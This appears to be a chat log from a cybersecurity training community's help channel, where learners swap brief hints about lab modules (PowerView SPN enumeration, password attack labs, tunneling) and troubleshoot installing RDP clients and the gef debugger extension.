I got problem with the upload function in Antak (want to put do tunneling with ligolo but for some reason it does not allow to upload the exe)
can someone please help?

[undone narwhal]

You don't need to do tunneling, get a shell and do recon

[obtuse verge]

how can i reach MS01 without tunneling?

[tough coyote]

I need assistance with this module. The question is: Find another user with an SPN set that is not listed in the section command output (case-sensitive). Its on module of Active Directory PowerView

what a good syntax to find it?

[wicked violet]

im in the linux fundamentals part three and i cant find the cronjob that is scheduled for the machine

[scenic geyser]

can someone give me a clue on the "Password Attacks Lab - Easy"? Got the user to SSH, but don't know how to get the root password

[acoustic owl]

Always check out ||what users have entered||

[obtuse verge]

i wrote windows priv esc but it is AD priv esc...

[scenic geyser]

got it

[scenic geyser]

thanks man

[lusty thicket]

it’s very straight forward using powerview

[lusty thicket]

strange

[wicked violet]

Yea iv done about everything I can think of

[lusty thicket]

go through the section again the command should be in there somewhere

[wicked violet]

I’ll look again but crontab is a fairly simple command

[primal mesa]

anyone having issues spawning target?

[slender shoal]

It spawned for me.

[primal mesa]

yes working now.

[median elbow]

windows fundamentals, trying to do the first activity on a virtual machine with the HTB version of Parrot, but i cant run "xfreerdp" command, it says command not found :( i tried on parrotsecurity as well but there is the same issue. do i have to use the pwnbox to be able to do this, or is there something i am missing?

[weary torrent]

Guys I am working on Intrusion Detection with Splunk. I found the answer to second question which is Enter the misused DLL's name as your answer.However I did it by looking at the powershell commandline not inspecting dll's.(also when we filter out things that target themselves as shown in the module , we are unable to find the answer which also bugs me )Is there another way to find misused dlls ?

[weary torrent]

try remmina not on the command line though

[median elbow]

i just put "remmina" in terminal, popped up a window where i put ip, user, and password and it seems to work :)

thank you

yep, was able to complete it. i literally just read about the other rdp clients a couple minutes ago too and i didnt realize..

[ebon jasper]

In module I supposed to use terminal with "gef" even if it uses gdb, but in my terminal I used same command as module showed but in my terminal it is "gdb" and in above picture I can not receive same output

[next bronze]

you need to install the gef extension

[next bronze]

xfreerdp is still better, you can mount a local directory to any machine you rdp into, makes file transfers much easier, you can install with sudo apt install freerdp2-x11

[ebon jasper]

Oh thank you, first time I though I installed it but now relized I made mistake in command while Installation, I repeat it carefully now i installed

[fathom pendant]

You can do that with remmina too

[next bronze]

true but, cli > gui

[fathom pendant]

¯_(ツ)_/¯

[foggy light]

Module: Game Reversing & Modding
Section: Man in the Middle Game Hacking
Having some issues setting up MITM Setup. Getting server error not sure what am I doing wrong

[median elbow]

"E: unable to locate package freerdp2-xll" :(

oops wait 11 not ll LOL

but now this

`Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
freerdp2-x11 : Depends: libfreerdp-client2-2 (= 2.3.0+dfsg1-2+deb11u1) but 2.10.0+dfsg1-1~bpo11+1 is to be installed
E: Unable to correct problems, you have held broken packages.`

[fathom pendant]

Try adding --fix-broken

[lusty thicket]

apt-get install -f

try

[fathom pendant]

apt-get is deprecated